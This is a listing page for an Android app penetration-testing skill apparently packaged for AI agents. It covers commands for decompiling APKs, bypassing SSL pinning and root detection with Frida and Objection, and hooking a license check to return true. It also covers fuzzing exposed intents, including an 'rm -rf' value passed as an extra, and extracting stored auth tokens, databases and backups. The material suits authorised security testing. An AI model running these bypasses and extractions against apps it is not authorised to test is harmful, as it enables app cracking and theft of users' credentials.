Android APK pentest workflow — apktool/jadx static, Frida dynamic instrumentation, SSL pinning bypass, root detection bypass, intent fuzzing, keystore extraction.
60
71%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md# Listed apps on connected device
adb shell pm list packages -3 # third-party only
adb shell pm path com.target.app # find APK path
adb pull /data/app/.../base.apk /tmp/
# Or from Google Play
gplaycli -d com.target.app -f /tmp/ # CLI Play store dump
# Or from third-party APK mirrors (apkpure / apkmirror)# Smali (low-level)
apktool d base.apk -o /tmp/apk-smali
# Java pseudo-code (jadx)
jadx --output-dir /tmp/apk-java base.apk
# Or jadx-gui for interactive
# Combine for full picturedocker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload APK via web UI, get full reportapkanalyzer manifest print base.apk
# OR
aapt dump xmltree base.apk AndroidManifest.xml | head -50
# Critical signals:
# - android:debuggable="true" → debugger attachable
# - android:allowBackup="true" → adb backup possible w/o root
# - android:exported="true" w/o perm → exposed component
# - <uses-permission> SMS/CAMERA/MIC reach → privacy risk
# - <intent-filter> w/ "android.intent.action.VIEW" + custom scheme → deeplink
# - networkSecurityConfig: cleartextTrafficPermitted="true" → MITM-friendly# Hardcoded keys in smali / java code
grep -rn 'api[_-]?key\|secret\|password' /tmp/apk-java/ | head -20
# Strings + entropy
strings -a base.apk | grep -E 'eyJhbGc|^[A-Za-z0-9+/]{30,}={0,2}$' | head
# AndroGuard for deep static
androguard analyze base.apk# Push frida-server (rooted device / emulator)
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
# Or use Magisk module on prod devicesfrida -U -l https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ -f com.target.app
# Or Objection's built-in
objection -g com.target.app explore
> android sslpinning disableobjection -g com.target.app explore
> android root disable
# Or via Frida script — patches common checks (RootBeer, SafetyNet)# Burp or mitmproxy w/ root CA installed on device (or magisk-trust-user-certs)
# Then re-launch app — traffic visible in proxy// Frida script — hook a class method
Java.perform(function() {
var Auth = Java.use("com.target.app.AuthManager");
Auth.checkLicense.implementation = function() {
console.log("checkLicense called, returning true");
return true;
};
});# Test exposed activity
adb shell am start -n com.target.app/com.target.app.MainActivity \
-a android.intent.action.VIEW -d "myapp://attacker-controlled-url"
# Test exposed service / broadcast
adb shell am startservice -n com.target.app/.ExposedService --es extra "value"
adb shell am broadcast -a com.target.app.ACTION_X --ei param 999setJavaScriptEnabled(true) + addJavascriptInterface() w/o @JavascriptInterface annotation → arbitrary Java method exec from JSsetAllowFileAccessFromFileURLs(true) → file:// URL XSS reads local files# Pull app data (rooted)
adb shell run-as com.target.app cat /data/data/com.target.app/shared_prefs/Auth.xml
# SQLite DBs
adb shell run-as com.target.app sqlite3 /data/data/com.target.app/databases/main.db ".dump"Android Keystore is supposed to be hardware-backed. On rooted devices or devices w/ keystore bugs, keys extractable via:
KeyStore.getKey()Android 14+ passkey biometric flow — LockKnife exploits Android pre-A14 keystore quirks. Modern Android raises the bar significantly.
If allowBackup=true:
adb backup com.target.app
# Pull backup, extract w/ android-backup-extractor (abe.jar)
java -jar abe.jar unpack backup.ab backup.tar
tar xvf backup.tar| Tool | Use |
|---|---|
apktool | Smali decompile + repack |
jadx | Java pseudo-code, GUI |
androguard | Static API analysis library |
MobSF | Web-UI automated triage |
Frida | Runtime instrumentation |
Objection | Frida-based REPL for common tasks |
drozer | IPC + content provider testing |
LockKnife | Credential extraction (forensics) |
abe.jar | Backup unpacking |
apkleaks | Static secret sweep |
apksigner | APK signature analysis |
bytecode-viewer | Multi-decompiler GUI |
adb shell am start -n ... --es cmd 'rm -rf'allowBackup=true + sensitive data extraction post-backup| Bug | Severity |
|---|---|
| Hardcoded API key w/ admin scope | Critical 9.0 |
| Exposed activity → arbitrary intent injection | Critical 9.0 |
WebView addJavascriptInterface → RCE in app context | Critical 9.0 |
| SSL pinning bypass + sensitive endpoint | High 8.0 |
| Backup extracts auth tokens | High 7-8 |
| Root detection bypass alone | Informational |
| Deeplink takeover (registered scheme) | High-Critical depending on flow |
android-re global skill (Decepticon-external)skills/reverser/triage/SKILL.mdskills/exploit/crypto/SKILL.md31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.